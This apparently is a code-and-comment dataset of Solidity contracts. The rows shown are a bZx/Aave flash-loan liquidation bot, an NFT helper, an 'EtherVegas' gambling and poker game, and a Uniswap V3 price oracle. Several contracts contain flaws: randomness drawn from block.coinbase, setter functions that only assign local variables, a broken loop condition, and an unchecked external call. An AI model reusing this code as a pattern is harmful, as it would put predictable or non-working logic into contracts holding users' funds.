function balanceOf(address _owner) external view returns(uint balance);
function transfer(address _to, uint _value) external returns(bool success);
function transferFrom(address _from, address _to, uint _value) external returns(bool success);
function approve(address _spender, uint _value) external returns(bool success);
function allowance(address _owner, address _spender) external view returns(uint remaining);
function decimals() external view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function deposit() external payable;
function withdraw(uint256 wad) external;
}
contract BZXAAVEFLASHLIQUIDATE {
address payable owner;
address ETH_TOKEN_ADDRESS = address(0x0);
address payable aaveRepaymentAddress = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3;
address uniAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
bzxRead bzx0 = bzxRead(0xD8Ee69652E4e4838f2531732a46d1f7F584F0b7f);
address bzx1Address = 0xD8Ee69652E4e4838f2531732a46d1f7F584F0b7f;
bzxWrite bzx1 = bzxWrite(0xD8Ee69652E4e4838f2531732a46d1f7F584F0b7f);
UniswapV2 usi = UniswapV2(uniAddress);
FlashLoanInterface fli = FlashLoanInterface(0x398eC7346DcD622eDc5ae82352F02bE94C62d119);
bytes theBytes;
address aaveEthAddress = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
ERC20 wethToken = ERC20(wethAddress);
address currentCToken;
address currentLToken;
uint256 currentMaxLiq;
bytes32 currentLoanId;
modifier onlyOwner() {
if (msg.sender == owner) _;
}
constructor() public payable {
owner = msg.sender;
}
fallback() external payable {
}
function updateBZXs(address newAddress) onlyOwner public {
bzxRead bzx0 = bzxRead(newAddress);
address bzx1Address = newAddress;
bzxWrite bzx1 = bzxWrite(newAddress);
}
function updateFlashLoanAddress(address newAddress) onlyOwner public {
FlashLoanInterface fli = FlashLoanInterface(newAddress);
}
function updateAaveEthAddress(address newAddress) onlyOwner public {
aaveEthAddress = newAddress;
}
function updateAaveRepayment(address payable newAddress) onlyOwner public {
aaveRepaymentAddress = newAddress;
}
function updateUniAddress(address newAddress) onlyOwner public {
UniswapV2 usi = UniswapV2(newAddress);
}
function setLoanInfo(address cToken, address lToken, uint maxLiq, bytes32 loanId2) public onlyOwner {
currentCToken = cToken;
currentLToken = lToken;
currentMaxLiq = maxLiq;
currentLoanId = loanId2;
}
function getLoanInfo1(bytes32 loanId) public view returns(bytes32 loanId1, address loanToken, address collateralToken, uint256 principal, uint256 collateral, uint256 maxLiquidatable) {
// return bzx0.getLoan(loanId);
(bytes32 loanId1, , address loanToken, address collateralToken, uint256 principal, uint256 collateral, , , , , , , , uint256 maxLiquidatable, ) = bzx0.getLoan(loanId);
return (loanId1, loanToken, collateralToken, principal, collateral, maxLiquidatable);
}
function flashLoanAndLiquidate(bytes32 loanId) onlyOwner public {
//getLoan
//get amount and which token you need to pay / flash loan borrow
(bytes32 loanId1, uint96 endTimestamp, address loanToken, address collateralToken, uint256 principal, uint256 collateral, , , , , , uint256 currentMargin, uint256 maxLoanTerm, uint256 maxLiquidatable, uint256 maxSeizable) = bzx0.getLoan(loanId);
currentCToken = collateralToken;
currentLToken = loanToken;
currentMaxLiq = maxLiquidatable;
currentLoanId = loanId;
address tokenAddToUse = loanToken;
if (loanToken == 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2) { //if loantoken == wETH >
tokenAddToUse = aaveEthAddress;
}
performFlash(tokenAddToUse, maxLiquidatable);
//flash borrow that amount
//and then flash function will call bzx liquidate function, swap the returned token from to our repayment token of aave, and pay back avave with fee
}
function performFlash(address tokenAddToUse, uint maxLiquidatable) public onlyOwner {
fli.flashLoan(address(this), tokenAddToUse, maxLiquidatable, theBytes);
}
function performUniswap(address sellToken, address buyToken, uint256 amountSent) public returns(uint256 amounts1) {
ERC20 sellToken1 = ERC20(sellToken);
ERC20 buyToken1 = ERC20(currentLToken);
if (sellToken1.allowance(address(this), uniAddress) <= amountSent) {
sellToken1.approve(uniAddress, 100000000000000000000000000000000000);
}
require(sellToken1.balanceOf(address(this)) >= amountSent, "You dont have enough Ctoken to perform this in performUniswap");
address[] memory addresses = new address[](2);
addresses[0] = sellToken;
addresses[1] = buyToken;
uint256[] memory amounts = performUniswapActual(addresses, amountSent);
uint256 resultingTokens = amounts[1];
return resultingTokens;
}
function performUniswapActual(address[] memory theAddresses, uint amount) public returns(uint256[] memory amounts1) {
//uint256 amounts = uniswapContract.getAmountsOut(amount,theAddresses );
uint256 deadline = 1000000000000000;
uint256[] memory amounts = usi.swapExactTokensForTokens(amount, 1, theAddresses, address(this), deadline);
return amounts;
}
function performTrade(bool isItEther, uint256 amount1) public returns(uint256) {
uint256 startingETHBalance = address(this).balance;
ERC20 tokenToReceive = ERC20(currentCToken);
uint256 startingCBalance = tokenToReceive.balanceOf(address(this));
if (isItEther == true) {
} else {
ERC20 bzLToken = ERC20(currentLToken);
if (bzLToken.allowance(address(this), bzx1Address) <= currentMaxLiq) {
bzLToken.approve(bzx1Address, (currentMaxLiq * 100));
}
}
if (isItEther == false) {
bzx1.liquidate(currentLoanId, address(this), currentMaxLiq);
} else {
bzx1.liquidate {value: amount1}(currentLoanId, address(this), currentMaxLiq);
}
uint256 amountBack = 0;
if (address(this).balance > startingETHBalance) {
uint256 newETH = address(this).balance - startingETHBalance;
wethToken.deposit {value: newETH}();
amountBack = performUniswap(wethAddress, currentLToken, newETH);
}
else {
uint256 difCBalance = tokenToReceive.balanceOf(address(this)) - startingCBalance;
require(difCBalance >0, "Balance of Collateral token didnt go up after swap didnt go up");
amountBack = performUniswap(currentCToken, currentLToken, difCBalance);
}
return amountBack;
}
function executeOperation(address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external {
bool isEther;
if (_reserve == aaveEthAddress) {
isEther = true;
} else {
isEther = false;
}
uint256 tradeResp = performTrade(isEther, _amount);
require(tradeResp > 0, "You didnt fet anything from uni");
if (_reserve == aaveEthAddress) {
uint256 repayAmount = (_amount + _fee);
uint256 ourEthBalance = address(this).balance;
wethToken.withdraw((_amount + _fee));
require(tradeResp >= (repayAmount / 10), "Not enough eth");
//aaveRepaymentAddress.call.value(repayAmount)();
aaveRepaymentAddress.call{value: repayAmount}("");
// aaveRepaymentAddress.send((_amount+_fee));
} else {
ERC20 firstToken = ERC20(_reserve);
firstToken.transfer(aaveRepaymentAddress, (_amount + _fee));
}
}
function getTokenBalance(address tokenAddress) public view returns(uint256) {
ERC20 theToken = ERC20(tokenAddress);
return theToken.balanceOf(address(this));
}
// send token 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE if you want to withdraw ether
function withdraw(address token) public onlyOwner returns(bool) {
//for ether withdrawal from smart contract
if (address(token) == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
uint256 amount = address(this).balance;
msg.sender.transfer(amount);
}
//for ether withdrawal from smart contract.
else {
ERC20 tokenToken = ERC20(token);
uint256 tokenBalance = tokenToken.balanceOf(address(this));
require(tokenToken.transfer(msg.sender, (tokenBalance)));
}
return true;
}
function kill() virtual public {
if (msg.sender == owner) {
selfdestruct(owner);
}
}
} | uint256 amounts = uniswapContract.getAmountsOut(amount,theAddresses ); | function performUniswapActual(address[] memory theAddresses, uint amount) public returns(uint256[] memory amounts1) {
uint256 deadline = 1000000000000000;
uint256[] memory amounts = usi.swapExactTokensForTokens(amount, 1, theAddresses, address(this), deadline);
return amounts;
}
| 6,593,266 |
./full_match/1/0x48deE19C0e44c147934702c12dc98963CA831009/sources/src/Asset/ERC1155ERC721.sol | Gives the collection a specific token belongs to. id the token to get the collection of. return the collection the NFT is part of. | function collectionOf(uint256 id) public view returns (uint256) {
require(_ownerOf(id) != address(0), "NFT does not exist");
uint256 collectionId = id & NOT_NFT_INDEX & NOT_IS_NFT;
require(wasEverMinted(collectionId), "no collection ever minted for that token");
return collectionId;
}
| 4,919,221 |
pragma solidity ^0.4.21;
// EtherVegas V3
// Updates: time is now a hard reset and is based on the price you buy with minimum
// Name feature introduced plus quotes [added to UI soon]
// Poker feature added, pays about ~4/25 of entire collected pot currently
// can be claimed multiple times (by other users). Last poker winner gets
// remaining pot when complete jackpot is paid out
// HOST: ethlasvegas.surge.sh
// Made by EtherGuy
// Questions or suggestions? [email protected]
contract RNG{
uint256 secret = 0;
// Thanks to TechnicalRise
// Ban contracts
modifier NoContract(){
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require(size == 0);
_;
}
function RNG() public NoContract{
secret = uint256(keccak256(block.coinbase));
}
function _giveRNG(uint256 modulo, uint256 secr) private view returns (uint256, uint256){
uint256 seed1 = uint256(block.coinbase);
uint256 seed3 = secr;
uint256 newsecr = (uint256(keccak256(seed1,seed3)));
return (newsecr % modulo, newsecr);
}
function GiveRNG(uint256 max) internal NoContract returns (uint256){
uint256 num;
uint256 newsecret = secret;
(num,newsecret) = _giveRNG(max, newsecret);
secret=newsecret;
return num;
}
}
contract Poker is RNG{
// warning; number 0 is a non-existing card; means empty;
uint8[5] public HouseCards;
mapping(address => uint8[2]) public PlayerCards;
mapping(address => uint256) public PlayerRound;
uint256 public RoundNumber;
uint8[6] public WinningHand; // tracks winning hand. ID 1 defines winning level (9=straight flush, 8=4 of a kind, etc) and other numbers
address public PokerWinner;
uint8[2] public WinningCards;
// define the other cards which might play in defining the winner.
function GetCardNumber(uint8 rank, uint8 suit) public pure returns (uint8){
if (rank==0){
return 0;
}
return ((rank-1)*4+1)+suit;
}
function GetPlayerRound(address who) public view returns (uint256){
return PlayerRound[who];
}
function GetCardInfo(uint8 n) public pure returns (uint8 rank, uint8 suit){
if (n==0){
return (0,0);
}
suit = (n-1)%4;
rank = (n-1)/4+1;
}
// event pushifo(uint8, uint8, uint8,uint8,uint8);
// resets game
function DrawHouse() internal {
// Draw table cards
uint8 i;
uint8 rank;
uint8 suit;
uint8 n;
for (i=0; i<5; i++){
rank = uint8(GiveRNG(13)+1);
suit = uint8(GiveRNG(4));
n = GetCardNumber(rank,suit);
HouseCards[i]=n;
}
uint8[2] storage target = PlayerCards[address(this)];
for (i=0; i<2; i++){
rank = uint8(GiveRNG(13)+1);
suit = uint8(GiveRNG(4));
n = GetCardNumber(rank,suit);
target[i]=n;
}
WinningHand = RankScore(address(this));
WinningCards=[target[0],target[1]];
PokerWinner= address(this);
}
event DrawnCards(address player, uint8 card1, uint8 card2);
function DrawAddr() internal {
uint8 tcard1;
uint8 tcard2;
for (uint8 i=0; i<2; i++){
uint8 rank = uint8(GiveRNG(13)+1);
uint8 suit = uint8(GiveRNG(4));
uint8 n = GetCardNumber(rank,suit);
if (i==0){
tcard1=n;
}
else{
tcard2=n;
}
PlayerCards[msg.sender][i]=n;
}
if (PlayerRound[msg.sender] != RoundNumber){
PlayerRound[msg.sender] = RoundNumber;
}
emit DrawnCards(msg.sender,tcard1, tcard2);
}
function GetPlayerCards(address who) public view NoContract returns (uint8, uint8){
uint8[2] memory target = PlayerCards[who];
return (target[0], target[1]);
}
function GetWinCards() public view returns (uint8, uint8){
return (WinningCards[0], WinningCards[1]);
}
// welp this is handy
struct Card{
uint8 rank;
uint8 suit;
}
// web
// function HandWinsView(address checkhand) view returns (uint8){
// return HandWins(checkhand);
//}
function HandWins(address checkhand) internal returns (uint8){
uint8 result = HandWinsView(checkhand);
uint8[6] memory CurrScore = RankScore(checkhand);
uint8[2] memory target = PlayerCards[checkhand];
if (result == 1){
WinningHand = CurrScore;
WinningCards= [target[0],target[1]];
PokerWinner=msg.sender;
// clear cards
//PlayerCards[checkhand][0]=0;
//PlayerCards[checkhand][1]=0;
}
return result;
}
// returns 0 if lose, 1 if win, 2 if equal
// if winner found immediately sets winner values
function HandWinsView(address checkhand) public view returns (uint8){
if (PlayerRound[checkhand] != RoundNumber){
return 0; // empty cards in new round.
}
uint8[6] memory CurrentWinHand = WinningHand;
uint8[6] memory CurrScore = RankScore(checkhand);
uint8 ret = 2;
if (CurrScore[0] > CurrentWinHand[0]){
return 1;
}
else if (CurrScore[0] == CurrentWinHand[0]){
for (uint i=1; i<=5; i++){
if (CurrScore[i] >= CurrentWinHand[i]){
if (CurrScore[i] > CurrentWinHand[i]){
return 1;
}
}
else{
ret=0;
break;
}
}
}
else{
ret=0;
}
// 2 is same hand. commented out in pay mode
// only winner gets pot.
return ret;
}
function RankScore(address checkhand) internal view returns (uint8[6] output){
uint8[4] memory FlushTracker;
uint8[14] memory CardTracker;
uint8 rank;
uint8 suit;
Card[7] memory Cards;
for (uint8 i=0; i<7; i++){
if (i>=5){
(rank,suit) = GetCardInfo(PlayerCards[checkhand][i-5]);
FlushTracker[suit]++;
CardTracker[rank]++;
Cards[i] = Card(rank,suit);
}
else{
(rank,suit) = GetCardInfo(HouseCards[i]);
FlushTracker[suit]++;
CardTracker[rank]++;
Cards[i] = Card(rank,suit);
}
}
uint8 straight = 0;
// skip all zero's
uint8[3] memory straight_startcard;
for (uint8 startcard=13; i>=5; i--){
if (CardTracker[startcard] >= 1){
for (uint8 currcard=startcard-1; currcard>=(startcard-4); currcard--){
if (CardTracker[currcard] >= 1){
if (currcard == (startcard-4)){
// at end, straight
straight_startcard[straight] = startcard;
straight++;
}
}
else{
break;
}
}
}
}
uint8 flush=0;
for (i=0;i<=3;i++){
if (FlushTracker[i]>=5){
flush=i;
break;
}
}
// done init.
// straight flush?
if (flush>0 && straight>0){
// someone has straight flush?
// level score 9
output[0] = 9;
currcard=0;
for (i=0; i<3; i++){
startcard=straight_startcard[i];
currcard=5; // track flush, num 5 is standard.
for (rank=0; i<7; i++){
if (Cards[i].suit == flush && Cards[i].rank <= startcard && Cards[i].rank>=(startcard-4)){
currcard--;
if (currcard==0){
break;
}
}
}
if (currcard==0){
// found straight flush high.
output[1] = straight_startcard[i]; // save the high card
break;
}
}
return output;
}
// high card
//reuse the rank variable to sum cards;
rank=0;
for (i=13;i>=1;i--){
rank = rank + CardTracker[i];
if (CardTracker[i] >= 4){
output[0] = 8; // high card
output[1] = i; // the type of card
return output;
}
if (rank >=4){
break;
}
}
// full house
rank=0; // track 3-kind
suit=0; // track 2-kind
startcard=0;
currcard=0;
for (i=13;i>=1;i--){
if (rank == 0 && CardTracker[i] >= 3){
rank = i;
}
else if(CardTracker[i] >= 2){
if (suit == 0){
suit = i;
}
else{
// double nice
if (startcard==0){
startcard=i;
}
}
}
}
if (rank != 0 && suit != 0){
output[0] = 7;
output[1] = rank; // full house tripple high
output[2] = suit; // full house tripple low
return output;
}
if (flush>0){
// flush
output[0] = 6;
output[1] = flush;
return output;
}
if (straight>0){
//straight
output[0] = 5;
output[1] = straight_startcard[0];
return output;
}
if (rank>0){
// tripple
output[0]=4;
output[1]=rank;
currcard=2; // track index;
// get 2 highest cards
for (i=13;i>=1;i--){
if (i != rank){
if (CardTracker[i] > 0){
// note at three of a kind we have no other doubles; all other ranks are different so no check > 1
output[currcard] = i;
currcard++;
if(currcard==4){
return output;
}
}
}
}
}
if (suit > 0 && startcard > 0){
// double pair
output[0] = 3;
output[1] = suit;
output[2] = startcard;
// get highest card
for (i=13;i>=1;i--){
if (i!=suit && i!=startcard && CardTracker[i]>0){
output[3]=i;
return output;
}
}
}
if (suit > 0){
// pair
output[0]=2;
output[1]=suit;
currcard=2;
// fill 3 other positions with high cards.
for (i=13;i>=1;i--){
if (i!=suit && CardTracker[i]>0){
output[currcard]=i;
currcard++;
if(currcard==5){
return output;
}
}
}
}
// welp you are here now, only have high card?
// boring
output[0]=1;
currcard=1;
for (i=13;i>=1;i--){
if (CardTracker[i]>0){
output[currcard]=i;
currcard++;
if (currcard==6){
return output;
}
}
}
}
}
contract Vegas is Poker{
address owner;
address public feesend;
uint256 public Timer;
uint8 constant MAXPRICEPOWER = 40; // < 255
address public JackpotWinner;
uint16 public JackpotPayout = 8000;
uint16 public PokerPayout = 2000;
uint16 public PreviousPayout = 6500;
uint16 public Increase = 9700;
uint16 public Tax = 500;
uint16 public PotPayout = 8000;
uint256 public BasePrice = (0.005 ether);
uint256 public TotalPot;
uint256 public PokerPayoutValue;
// mainnet
uint256[9] TimeArray = [uint256(6 hours), uint256(3 hours), uint256(2 hours), uint256(1 hours), uint256(50 minutes), uint256(40 minutes), uint256(30 minutes), uint256(20 minutes), uint256(15 minutes)];
// testnet
//uint256[3] TimeArray = [uint256(3 minutes), uint256(3 minutes), uint256(2 minutes)];
struct Item{
address Holder;
uint8 PriceID;
}
Item[16] public Market;
uint8 public MaxItems = 12; // max ID, is NOT index but actual max items to buy. 0 means really nothing, not 1 item
event ItemBought(uint256 Round, uint8 ID, uint256 Price, address BoughtFrom, address NewOwner, uint256 NewTimer, uint256 NewJP, string Quote, string Name);
// quotes here ?
event PokerPaid(uint256 Round, uint256 AmountWon, address Who, string Quote, string Name, uint8[6] WinHand);
event JackpotPaid(uint256 Round, uint256 Amount, address Who, string Quote, string Name);
event NewRound();
bool public EditMode;
bool public SetEditMode;
// dev functions
modifier OnlyOwner(){
require(msg.sender == owner);
_;
}
modifier GameClosed(){
require (block.timestamp > Timer);
_;
}
function Vegas() public{
owner=msg.sender;
feesend=0x09470436BD5b44c7EbDb75eEe2478eC172eAaBF6;
// withdraw also setups new game.
// pays out 0 eth of course to owner, no eth in contract.
Timer = 1; // makes sure withdrawal runs
Withdraw("Game init", "Admin");
}
// all contract calls are banned from buying
function Buy(uint8 ID, string Quote, string Name) public payable NoContract {
require(ID < MaxItems);
require(!EditMode);
// get price
//uint8 pid = Market[ID].PriceID;
uint256 price = GetPrice(Market[ID].PriceID);
require(msg.value >= price);
if (block.timestamp > Timer){
if (Timer != 0){ // timer 0 means withdraw is gone; withdraw will throw on 0
Withdraw("GameInit", "Admin");
return;
}
}
// return excess
if (msg.value > price){
msg.sender.transfer(msg.value-price);
}
uint256 PayTax = (price * Tax)/10000;
feesend.transfer(PayTax);
uint256 Left = (price-PayTax);
if (Market[ID].PriceID!=0){
// unzero, move to previous owner
uint256 pay = (Left*PreviousPayout)/10000;
TotalPot = TotalPot + (Left-pay);
// Left=Left-pay;
Market[ID].Holder.transfer(pay);
}
else{
TotalPot = TotalPot + Left;
}
// reset timer;
Timer = block.timestamp + GetTime(Market[ID].PriceID);
//set jackpot winner
JackpotWinner = msg.sender;
// give user new card;
emit ItemBought(RoundNumber,ID, price, Market[ID].Holder, msg.sender, Timer, TotalPot, Quote, Name);
DrawAddr(); // give player cards
// update price
Market[ID].PriceID++;
//set holder
Market[ID].Holder=msg.sender;
}
function GetPrice(uint8 id) public view returns (uint256){
uint256 p = BasePrice;
if (id > 0){
// max price baseprice * increase^20 is reasonable
for (uint i=1; i<=id; i++){
if (i==MAXPRICEPOWER){
break; // prevent overflow (not sure why someone would buy at increase^255)
}
p = (p * (10000 + Increase))/10000;
}
}
return p;
}
function PayPoker(string Quote, string Name) public NoContract{
uint8 wins = HandWins(msg.sender);
if (wins>0){
uint256 available_balance = (TotalPot*PotPayout)/10000;
uint256 payment = sub ((available_balance * PokerPayout)/10000 , PokerPayoutValue);
PokerPayoutValue = PokerPayoutValue + payment;
if (wins==1){
msg.sender.transfer(payment);
emit PokerPaid(RoundNumber, payment, msg.sender, Quote, Name, WinningHand);
}
/*
else if (wins==2){
uint256 pval = payment/2;
msg.sender.transfer(pval);
PokerWinner.transfer(payment-pval);// saves 1 wei error
emit PokerPaid(RoundNumber, pval, msg.sender, Quote, Name, WinningHand);
emit PokerPaid(RoundNumber, pval, msg.sender, "", "", WinningHand);
}*/
}
else{
// nice bluff mate
revert();
}
}
function GetTime(uint8 id) public view returns (uint256){
if (id >= TimeArray.length){
return TimeArray[TimeArray.length-1];
}
else{
return TimeArray[id];
}
}
//function Call() public {
// DrawHouse();
// }
// pays winner.
// also sets up new game
// winner receives lots of eth compared to gas so a small payment to gas is reasonable.
function Withdraw(string Quote, string Name) public NoContract {
_withdraw(Quote,Name,false);
}
// in case there is a revert bug in the poker contract
// allows winner to get paid without calling poker. should never be called
// follows all normal rules of game .
function WithdrawEmergency() public OnlyOwner{
_withdraw("Emergency withdraw call","Admin",true);
}
function _withdraw(string Quote, string Name, bool Emergency) NoContract internal {
// Setup cards for new game.
require(block.timestamp > Timer && Timer != 0);
Timer=0; // prevent re-entrancy immediately.
// send from this.balance
uint256 available_balance = (TotalPot*PotPayout)/10000;
uint256 bal = (available_balance * JackpotPayout)/10000;
JackpotWinner.transfer(bal);
emit JackpotPaid(RoundNumber, bal, JackpotWinner, Quote, Name);
// pay the last poker winner remaining poker pot.
bal = sub(sub(available_balance, bal),PokerPayoutValue);
if (bal > 0 && PokerWinner != address(this)){
// this only happens at start game, some wei error
if (bal > address(this).balance){
PokerWinner.transfer(address(this).balance);
}
else{
PokerWinner.transfer(bal);
}
emit PokerPaid(RoundNumber, bal, PokerWinner, "Paid out left poker pot", "Dealer", WinningHand);
}
TotalPot = address(this).balance;
// next poker pot starts at zero.
PokerPayoutValue= (TotalPot * PotPayout * PokerPayout)/(10000*10000);
// reset price
for (uint i=0; i<MaxItems; i++){
Market[i].PriceID=0;
}
if (!Emergency){
DrawHouse();
}
RoundNumber++;
// enable edit mode if set by dev.
EditMode=SetEditMode;
emit NewRound();
}
// dev edit functions below
function setEditModeBool(bool editmode) public OnlyOwner {
// start edit mode closes the whole game.
SetEditMode=editmode;
if (!editmode){
// enable game round.
EditMode=false;
}
}
function emergencyDropEth() public payable{
// any weird error might be solved by dropping eth (and no this is not even a scam, if contract needs a wei more, we send a wei, get funds out and fix contract)
}
function editTimer(uint8 ID, uint256 Time) public OnlyOwner GameClosed{
TimeArray[ID] = Time;
}
function editBasePrice(uint256 NewBasePrice) public OnlyOwner GameClosed{
BasePrice = NewBasePrice;
}
function editMaxItems(uint8 NewMax) public OnlyOwner GameClosed{
MaxItems = NewMax;
}
function editPayoutSetting(uint8 setting, uint16 newv) public OnlyOwner GameClosed{
require(setting > 0);
if (setting == 1){
require(newv <= 10000);
JackpotPayout = newv;
PokerPayout = 10000-newv;
}
else if (setting == 2){
require(newv <= 10000);
PokerPayout = newv;
JackpotPayout = 10000-newv;
}
else if (setting == 3){
require (newv <= 10000);
PreviousPayout = newv;
}
else if (setting == 4){
require(newv <= 30000);
Increase = newv;
}
else if (setting == 5){
require(newv <=10000);
PotPayout = newv;
}
else if (setting == 6){
require(newv < 700);
Tax = newv;
}
else{
revert();
}
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | any weird error might be solved by dropping eth (and no this is not even a scam, if contract needs a wei more, we send a wei, get funds out and fix contract) | function emergencyDropEth() public payable{
}
| 7,307,536 |
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.7.6;
pragma abicoder v2;
import '@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol';
import '@uniswap/v3-periphery/contracts/libraries/PoolAddress.sol';
import "./interfaces/IOracleUsd.sol";
import "./interfaces/IVaultParameters.sol";
import "./interfaces/IOracleRegistry.sol";
contract UniswapV3Oracle is IOracleUsd {
struct QuoteParams {
address quoteAsset;
uint24 poolFee;
uint32 twapPeriod;
}
mapping (address => QuoteParams) public quoteParams;
// Unit Protocol parameters
IVaultParameters public constant vaultParameters = IVaultParameters(0xB46F8CF42e504Efe8BEf895f848741daA55e9f1D);
// Uniswap V3 factory
address public constant factory = 0x1F98431c8aD98523631AE4a59f267346ea31F984;
address public defaultQuoteAsset = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
// 0.3%
uint24 public constant defaultPoolFee = 3000;
uint32 public defaultTWAPPeriod = 30 minutes;
// Unit Protocol oracle registry
IOracleRegistry public constant oracleRegistry = IOracleRegistry(0x75fBFe26B21fd3EA008af0C764949f8214150C8f);
event QuoteParamsSet(address indexed baseAsset, QuoteParams quoteParams);
event DefaultTWAPPeriodSet(uint32 twapPeriod);
event DefaultQuoteAssetSet(address quoteAsset);
modifier g() {
require(vaultParameters.isManager(msg.sender), "UniswapV3Oracle: !g");
_;
}
function setQuoteParams(address baseAsset, QuoteParams calldata quoteP) external g {
quoteParams[baseAsset] = quoteP;
emit QuoteParamsSet(baseAsset, quoteP);
}
function setDefaultTWAPPeriod(uint32 twapPeriod) external g {
defaultTWAPPeriod = twapPeriod;
emit DefaultTWAPPeriodSet(twapPeriod);
}
function setDefaultQuoteAsset(address quoteAsset) external g {
defaultQuoteAsset = quoteAsset;
emit DefaultQuoteAssetSet(quoteAsset);
}
// returns Q112-encoded value
// returned value 10**18 * 2**112 is $1
function assetToUsd(address baseAsset, uint amount) external view override returns(uint) {
if (amount == 0) return 0;
require(amount <= type(uint128).max, "UniswapV3Oracle: amount overflow");
QuoteParams memory quote = quoteParams[baseAsset];
if (quote.quoteAsset == address(0)) {
quote.quoteAsset = defaultQuoteAsset;
}
require(quote.quoteAsset != baseAsset, "UniswapV3Oracle: quote == base");
if (quote.poolFee == 0) {
quote.poolFee = defaultPoolFee;
}
if (quote.twapPeriod == 0) {
quote.twapPeriod = defaultTWAPPeriod;
}
PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey(baseAsset, quote.quoteAsset, quote.poolFee);
address pool = PoolAddress.computeAddress(factory, poolKey);
int24 twaTick = OracleLibrary.consult(pool, quote.twapPeriod);
uint twaPrice = OracleLibrary.getQuoteAtTick(twaTick, uint128(amount), baseAsset, quote.quoteAsset);
return getOracle(quote.quoteAsset).assetToUsd(quote.quoteAsset, twaPrice);
}
function getOracle(address asset) public view returns(IOracleUsd) {
address oracle = oracleRegistry.oracleByAsset(asset);
require(oracle != address(0), "UniswapV3Oracle: quote asset oracle not found");
return IOracleUsd(oracle);
}
}
// SPDX-License-Identifier: bsl-1.1
/*
Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]).
*/
pragma solidity ^0.7.6;
pragma abicoder v2;
interface IOracleRegistry {
struct Oracle {
uint oracleType;
address oracleAddress;
}
function WETH ( ) external view returns ( address );
function getKeydonixOracleTypes ( ) external view returns ( uint256[] memory );
function getOracles ( ) external view returns ( Oracle[] memory foundOracles );
function keydonixOracleTypes ( uint256 ) external view returns ( uint256 );
function maxOracleType ( ) external view returns ( uint256 );
function oracleByAsset ( address asset ) external view returns ( address );
function oracleByType ( uint256 ) external view returns ( address );
function oracleTypeByAsset ( address ) external view returns ( uint256 );
function oracleTypeByOracle ( address ) external view returns ( uint256 );
function setKeydonixOracleTypes ( uint256[] memory _keydonixOracleTypes ) external;
function setOracle ( uint256 oracleType, address oracle ) external;
function setOracleTypeForAsset ( address asset, uint256 oracleType ) external;
function setOracleTypeForAssets ( address[] memory assets, uint256 oracleType ) external;
function unsetOracle ( uint256 oracleType ) external;
function unsetOracleForAsset ( address asset ) external;
function unsetOracleForAssets ( address[] memory assets ) external;
function vaultParameters ( ) external view returns ( address );
}
// SPDX-License-Identifier: bsl-1.1
/*
Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]).
*/
pragma solidity ^0.7.6;
interface IVaultParameters {
function canModifyVault ( address ) external view returns ( bool );
function foundation ( ) external view returns ( address );
function isManager ( address ) external view returns ( bool );
function isOracleTypeEnabled ( uint256, address ) external view returns ( bool );
function liquidationFee ( address ) external view returns ( uint256 );
function setCollateral ( address asset, uint256 stabilityFeeValue, uint256 liquidationFeeValue, uint256 usdpLimit, uint256[] calldata oracles ) external;
function setFoundation ( address newFoundation ) external;
function setLiquidationFee ( address asset, uint256 newValue ) external;
function setManager ( address who, bool permit ) external;
function setOracleType ( uint256 _type, address asset, bool enabled ) external;
function setStabilityFee ( address asset, uint256 newValue ) external;
function setTokenDebtLimit ( address asset, uint256 limit ) external;
function setVaultAccess ( address who, bool permit ) external;
function stabilityFee ( address ) external view returns ( uint256 );
function tokenDebtLimit ( address ) external view returns ( uint256 );
function vault ( ) external view returns ( address );
function vaultParameters ( ) external view returns ( address );
}
// SPDX-License-Identifier: bsl-1.1
/*
Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]).
*/
pragma solidity ^0.7.6;
interface IOracleUsd {
// returns Q112-encoded value
// returned value 10**18 * 2**112 is $1
function assetToUsd(address asset, uint amount) external view returns (uint);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Provides functions for deriving a pool address from the factory, tokens, and the fee
library PoolAddress {
bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;
/// @notice The identifying key of the pool
struct PoolKey {
address token0;
address token1;
uint24 fee;
}
/// @notice Returns PoolKey: the ordered tokens with the matched fee levels
/// @param tokenA The first token of a pool, unsorted
/// @param tokenB The second token of a pool, unsorted
/// @param fee The fee level of the pool
/// @return Poolkey The pool details with ordered token0 and token1 assignments
function getPoolKey(
address tokenA,
address tokenB,
uint24 fee
) internal pure returns (PoolKey memory) {
if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
return PoolKey({token0: tokenA, token1: tokenB, fee: fee});
}
/// @notice Deterministically computes the pool address given the factory and PoolKey
/// @param factory The Uniswap V3 factory contract address
/// @param key The PoolKey
/// @return pool The contract address of the V3 pool
